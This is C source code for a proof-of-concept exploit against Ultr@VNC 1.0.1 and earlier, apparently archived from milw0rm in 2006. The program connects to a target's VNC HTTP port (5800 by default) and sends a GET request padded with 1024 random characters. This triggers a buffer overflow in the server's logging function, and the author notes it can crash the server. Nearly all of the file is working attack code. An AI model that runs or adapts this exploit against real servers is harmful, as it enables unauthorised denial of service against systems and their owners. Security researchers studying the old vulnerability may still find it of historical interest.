/* by Luigi Auriemma */ #include #include #include #include #ifdef WIN32 #include /* Header file used for manage errors in Windows It support socket and errno too (this header replace the previous sock_errX.h) */ #include #include void std_err(void) { char *error; switch(WSAGetLastError()) { case 10004: error = "Interrupted system call"; break; case 10009: error = "Bad file number"; break; case 10013: error = "Permission denied"; break; case 10014: error = "Bad address"; break; case 10022: error = "Invalid argument (not bind)"; break; case 10024: error = "Too many open files"; break; case 10035: error = "Operation would block"; break; case 10036: error = "Operation now in progress"; break; case 10037: error = "Operation already in progress"; break; case 10038: error = "Socket operation on non-socket"; break; case 10039: error = "Destination address required"; break; case 10040: error = "Message too long"; break; case 10041: error = "Protocol wrong type for socket"; break; case 10042: error = "Bad protocol option"; break; case 10043: error = "Protocol not supported"; break; case 10044: error = "Socket type not supported"; break; case 10045: error = "Operation not supported on socket"; break; case 10046: error = "Protocol family not supported"; break; case 10047: error = "Address family not supported by protocol family"; break; case 10048: error = "Address already in use"; break; case 10049: error = "Can't assign requested address"; break; case 10050: error = "Network is down"; break; case 10051: error = "Network is unreachable"; break; case 10052: error = "Net dropped connection or reset"; break; case 10053: error = "Software caused connection abort"; break; case 10054: error = "Connection reset by peer"; break; case 10055: error = "No buffer space available"; break; case 10056: error = "Socket is already connected"; break; case 10057: error = "Socket is not connected"; break; case 10058: error = "Can't send after socket shutdown"; break; case 10059: error = "Too many references, can't splice"; break; case 10060: error = "Connection timed out"; break; case 10061: error = "Connection refused"; break; case 10062: error = "Too many levels of symbolic links"; break; case 10063: error = "File name too long"; break; case 10064: error = "Host is down"; break; case 10065: error = "No Route to Host"; break; case 10066: error = "Directory not empty"; break; case 10067: error = "Too many processes"; break; case 10068: error = "Too many users"; break; case 10069: error = "Disc Quota Exceeded"; break; case 10070: error = "Stale NFS file handle"; break; case 10091: error = "Network SubSystem is unavailable"; break; case 10092: error = "WINSOCK DLL Version out of range"; break; case 10093: error = "Successful WSASTARTUP not yet performed"; break; case 10071: error = "Too many levels of remote in path"; break; case 11001: error = "Host not found"; break; case 11002: error = "Non-Authoritative Host not found"; break; case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break; case 11004: error = "Valid name, no data record of requested type"; break; default: error = strerror(errno); break; } fprintf(stderr, "\nError: %s\n", error); exit(1); } #define close closesocket #define ONESEC 1000 #else #include #include #include #include #include #include #define ONESEC 1 #endif #define VER "0.1" #define PORT 5800 #define BOFSZ 1024 int create_rand_string(u_char *data, int len, u_int *seed); u_int resolv(char *host); void std_err(void); int main(int argc, char *argv[]) { struct sockaddr_in peer; u_int seed; int sd, i, len; u_short port = PORT; u_char buff[4096]; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif setbuf(stdout, NULL); fputs("\n" "Ultr@VNC <= 1.0.1 VNCLog::ReallyPrint bug "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@autistici.org\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 2) { printf("\n" "Usage: %s [port(%hu)]\n" "\n" "Note: although the bug is a buffer-overflow, I have found only a limited way\n" " (something like an off-by-one) to exploit it versus the server\n" " Note also that in some cases (for example where it has not been\n" " configured yet or the logging function has been never enabled) the server\n" " will not crash\n" "\n", argv[0], port); exit(1); } seed = time(NULL); if(argc > 2) port = atoi(argv[2]); peer.sin_addr.s_addr = resolv(argv[1]); peer.sin_port = htons(port); peer.sin_family = AF_INET; printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), port); sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sd < 0) std_err(); printf("- connect..."); if(connect(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); printf(" done\n"); len = sprintf(buff, "GET /"); len += create_rand_string(buff + len, BOFSZ, &seed); len += sprintf(buff + len, " \r\n\r\n"); printf("- send BOF HTTP request\n"); if(send(sd, buff, len, 0) < 0) std_err(); printf("- wait some seconds\n"); for(i = 3; i >= 0; i--) { printf("%3d\r", i); sleep(ONESEC); } close(sd); printf("- finished, check it manually\n"); return(0); } int create_rand_string(u_char *data, int len, u_int *seed) { u_int rnd; u_char *p = data; const static u_char table[] = "0123456789" "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz"; rnd = *seed; while(len--) { rnd = (rnd * 0x343FD) + 0x269EC3; rnd >>= 3; *p++ = table[rnd % (sizeof(table) - 1)]; } *p = 0; *seed = rnd; return(p - data); } u_int resolv(char *host) { struct hostent *hp; u_int host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolv hostname (%s)\n", host); exit(1); } else host_ip = *(u_int *)hp->h_addr; } return(host_ip); } #ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif // milw0rm.com [2006-04-04]